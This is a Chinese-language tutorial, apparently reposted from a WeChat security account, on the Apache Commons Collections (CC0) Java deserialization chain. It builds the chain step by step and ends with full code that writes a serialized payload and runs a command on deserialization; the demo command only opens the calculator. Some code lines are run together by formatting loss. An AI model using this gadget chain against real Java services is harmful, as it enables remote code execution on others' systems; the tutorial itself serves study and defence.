Java安全 – CC0反序列化

Java反射

正常命令执行:

public static void test1() throws IOException {  
    Runtime.getRuntime().exec("calc");  
}

使用反射的方式调用命令执行:

public static void test2() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {  
    // 初始化Runtime类  
    Class clazz = Class.forName("java.lang.Runtime");  
    // 调用Runtime类的getRuntime方法得到Runtime类的对象  
    Object rt = clazz.getMethod("getRuntime").invoke(clazz);  
    // 再次使用invoke调用Runtime中的方法,传递对象参数  
    clazz.getMethod("exec",String.class).invoke(rt,"calc");  
}

Apache CC0 反序列化漏洞

CC<=3.2.1,且需要在java7下利用

链子:

Java安全 - CC0反序列化

调试链子终点InvokerTransformer

最终执行命令的类InvokerTransformer,反射架子所在方法transform

Java安全 - CC0反序列化

手动new一下试试能利用不

public static void cc0_1() {  
    InvokerTransformer invokerTransformer = new InvokerTransformer(  
        "exec",  
        new Class[]{String.class},  
        new String[]
{"calc.exe"}  
    );  
    Object input = Runtime.getRuntime();  
    invokerTransformer.transform(input);  
}

其中input也可以使用反射获取

public static void cc0_1() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {  
    InvokerTransformer invokerTransformer = new InvokerTransformer(  
        "exec",  
        new Class[]{String.class},  
        new String[]
{"calc.exe"}  
    );  
    Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));  
    invokerTransformer.transform(input);  
}

往前倒一步ChainedTransformer & ConstantTransformer

Java安全 - CC0反序列化

传入一个Transformer的数组,构造方法赋值到iTransformers里,当触发transform方法时,通过遍历数组逐个触发其中的transform方法

Java安全 - CC0反序列化

传入一个Object对象,当触发transform方法时原封不动返回这个对象。

套上这两个类,改造我们前面的利用脚本链子

public static void cc0_2() {  
    Transformer[] transformers = new Transformer[]{  
        new ConstantTransformer(Runtime.class), //获得Runtimeclass  
        new InvokerTransformer(  
            "getMethod",  
            new Class[]
{String.class,Class[].class}, //执行.getMethod("getRuntime")  
            new Object[]
{"getRuntime",new Class[0]}  
        ),  
        new InvokerTransformer(  
            "invoke",  
            new Class[]{Object.classObject[].class}, //执行.invoke()得到Runtime实例  
            new Object[]
{nullnull}  
        ),  
        new InvokerTransformer(  
            "exec",  
            new Class[]{String.class}, //传入Runtime实例  
            new Object[]
{"calc.exe"}  
        )  
    };  
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
    chainedTransformer.transform(null);  
}

继续往前倒TransformedMap

为解决上一步如何能自动执行最后一行chainedTransformer的transform方法

继续往前找到TransformedMap类

Java安全 - CC0反序列化

通过checkSetValue可以调用transform方法(把ChainedTransformer放到这里使其能调用ChainedTransformer的transform方法遍历其中的数组)

什么时候会调用checkSetValue呢,shift+左键点一下

在AbstractInputCheckedMapDecorator类的setValue方法里看到调用了checkSetValue

那么setValue方法什么时候会被触发呢,是在元素增加、删除、修改的时候被触发

所以就变成了找一个对象,它在反序列化的时候会给map对象的元素赋值,调用setValue

入口点AnnotationInvocationHandler

这个类有readObject入口点,并且方法中定义了Map.Entry的变量

如果在java7环境下反编译这个类,可以看到后面紧跟着调用了map的setValue方法

链子就串通了

最后把入口点的代码补充上

public static void cc0_3() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {  
    Transformer[] transformers = new Transformer[]{  
        new ConstantTransformer(Runtime.class), //获得Runtimeclass  
        new InvokerTransformer(  
            "getMethod",  
            new Class[]
{String.class,Class[].class}, //执行.getMethod("getRuntime")  
            new Object[]
{"getRuntime",new Class[0]}  
        ),  
        new InvokerTransformer(  
            "invoke",  
            new Class[]{Object.classObject[].class}, //执行.invoke()得到Runtime实例  
            new Object[]
{nullnull}  
        ),  
        new InvokerTransformer(  
            "exec",  
            new Class[]{String.class}, //传入Runtime实例  
            new Object[]
{"calc.exe"}  
        )  
    };  
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
   
    Map innermap = new HashMap();  
    innermap.put("key","value");  
    Map outermap = TransformedMap.decorate(innermap,null,chainedTransformer);  
   
    //构造包含恶意map的AnnotationInvocationHandler对象  
    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
    Constructor cst = cl.getDeclaredConstructor(Class.classMap.class);  
    cst.setAccessible(true);  
    Object exploitObj = cst.newInstance(Target.classoutermap);  
   
    //序列化  
    FileOutputStream fos = new FileOutputStream("payload.bin");  
    ObjectOutputStream oos = new ObjectOutputStream(fos);  
    oos.writeObject(exploitObj);  
    oos.close();  
   
    //反序列化  
    FileInputStream fis = new FileInputStream("payload.bin");  
    ObjectInputStream ois = new ObjectInputStream(fis);  
    Object result = ois.readObject();  
    ois.close();  
    System.out.println(result);  
}


原文始发于微信公众号(智佳网络安全):Java安全 – CC0反序列化

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/300821.html

(0)
小半的头像小半

相关推荐

发表回复

登录后才能评论
极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!